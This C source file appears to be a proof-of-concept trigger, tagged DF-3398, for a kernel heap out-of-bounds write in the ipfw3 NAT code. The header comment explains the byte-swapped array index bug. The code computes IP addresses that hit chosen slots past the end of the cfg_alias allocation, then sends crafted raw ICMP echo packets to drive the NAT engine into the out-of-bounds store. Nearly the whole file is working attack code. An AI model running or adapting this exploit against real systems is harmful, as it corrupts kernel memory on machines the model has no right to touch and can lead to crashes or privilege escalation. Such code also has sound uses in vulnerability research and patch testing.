DF-3398 / icmp_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | /* * DF-3398 trigger: deterministic outbound-ICMP NAT heap OOB write. * * sys/net/ipfw3_nat/ip_fw3_nat.c:310 computes * s->alias_port = htons(s->src_addr * s->dst_addr % ALIAS_RANGE) * (src/dst are HOST-order u32 from args->f_id, see ip_fw3.c:413-414) * and :326 stores * alias->icmp_in[s->alias_port] = s2; <-- raw (byte-swapped) index * into struct cfg_alias.icmp_in[ALIAS_RANGE=64511] (ip_fw3_nat.h:133). * * On little-endian x86_64, index = bswap16(x) can be up to 0xFFxx * while the array ends at 64510 (0xFBFE): for x with low byte 0xFC..0xFF * the store lands 8..8184 bytes PAST the end of the ~1.5MB cfg_alias * allocation, writing an 8-byte kernel heap pointer (struct nat_state2*) * at an attacker-chosen slot. * * This tool picks the packet's src IP so that * (src_hostorder * dst_hostorder) % 64511 == TARGET_X * exactly (modular inverse), pins itself to a chosen CPU, and sends the * ICMP echo request that drives the NAT engine into the OOB store. * * usage: icmp_oob <cpu> <x0> [x1 ...] (x = desired %64511 residue) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/usched.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define ALIAS_RANGE 64511UL static uint32_t dst_host = 0x0A000202; /* 10.0.2.2 (guest default gw) */ /* C-semantics residue: (src*dst) wraps mod 2^32 BEFORE % 64511 */ static uint32_t minv(uint32_t a, uint32_t m) { int64_t t = 0, nt = 1, r = m, nr = a; while (nr != 0) { int64_t q = r / nr, tmp; tmp = t - q * nt; t = nt; nt = tmp; tmp = r - q * nr; r = nr; nr = tmp; } if (t < 0) t += m; return (uint32_t)t; } static uint16_t cksum(void *v, int len) { uint16_t *p = v; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len == 1) sum += *(uint8_t *)p; while (sum >> 16) sum = (sum >> 16) + (sum & 0xffff); return (~sum) & 0xffff; } int main(int argc, char **argv) { uint32_t inv = minv(dst_host % ALIAS_RANGE, ALIAS_RANGE); int cpu = atoi(argv[1]); int s, i, one = 1, id = 0x4242; if (argc < 3) { fprintf(stderr, "usage: %s cpu x0 [x1 ...]\n", argv[0]); return 2; } if (usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)) != 0) perror("usched_set"); s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (s < 0) { perror("socket"); return 1; } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) perror("IP_HDRINCL"); for (i = 2; i < argc; i++) { uint32_t x = strtoul(argv[i], NULL, 0); /* fixed src 1.0.203.204; brute-force dst with C wrap semantics */ uint32_t src_host = 0x0100CBCC; uint32_t k, dst_cand = 0; char pktbuf[sizeof(struct ip) + 8 + 56]; struct ip *ip = (struct ip *)pktbuf; struct icmp *ic = (struct icmp *)(pktbuf + sizeof(struct ip)); struct sockaddr_in sin; uint32_t got; for (k = 1; k < 200000; k++) { uint32_t d = k * 64511 + 3; /* dst candidates ~ tiny IPs x.y.z */ if (((uint32_t)(src_host * d)) % ALIAS_RANGE == x) { dst_cand = d; break; } } if (dst_cand == 0) { fprintf(stderr, "x=%u: no dst found\n", x); continue; } dst_host = dst_cand; got = ((uint32_t)(src_host * dst_host)) % ALIAS_RANGE; if (got != x) { fprintf(stderr, "x=%u: math mismatch got %u\n", x, got); continue; } uint16_t idx = (uint16_t)(((x & 0xff) << 8) | ((x >> 8) & 0xff)); printf("x=%u(0x%04x) src=%s dst=%s raw_idx=%u oob_slots=%d off_past_end=%d\n", x, x, inet_ntoa(*(struct in_addr *)&src_host), inet_ntoa(*(struct in_addr *)&dst_host), idx, (int)idx - 64510, 8 * ((int)idx - 64510)); memset(pktbuf, 0, sizeof(pktbuf)); ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_len = htons(sizeof(pktbuf)); ip->ip_id = htons(id & 0xffff); ip->ip_off = 0; ip->ip_ttl = 64; ip->ip_p = IPPROTO_ICMP; ip->ip_sum = 0; ip->ip_src.s_addr = htonl(src_host); ip->ip_dst.s_addr = htonl(dst_host); ip->ip_sum = cksum(ip, sizeof(struct ip)); ic->icmp_type = ICMP_ECHO; ic->icmp_code = 0; ic->icmp_id = htons(id & 0xffff); ic->icmp_seq = htons((id >> 16) & 0xffff); ic->icmp_cksum = 0; ic->icmp_cksum = cksum(ic, 8 + 56); id++; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_len = sizeof(sin); sin.sin_addr.s_addr = ip->ip_dst.s_addr; if (sendto(s, pktbuf, sizeof(pktbuf), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) perror("sendto"); usleep(50000); } printf("trigger done on cpu %d\n", cpu); return 0; } |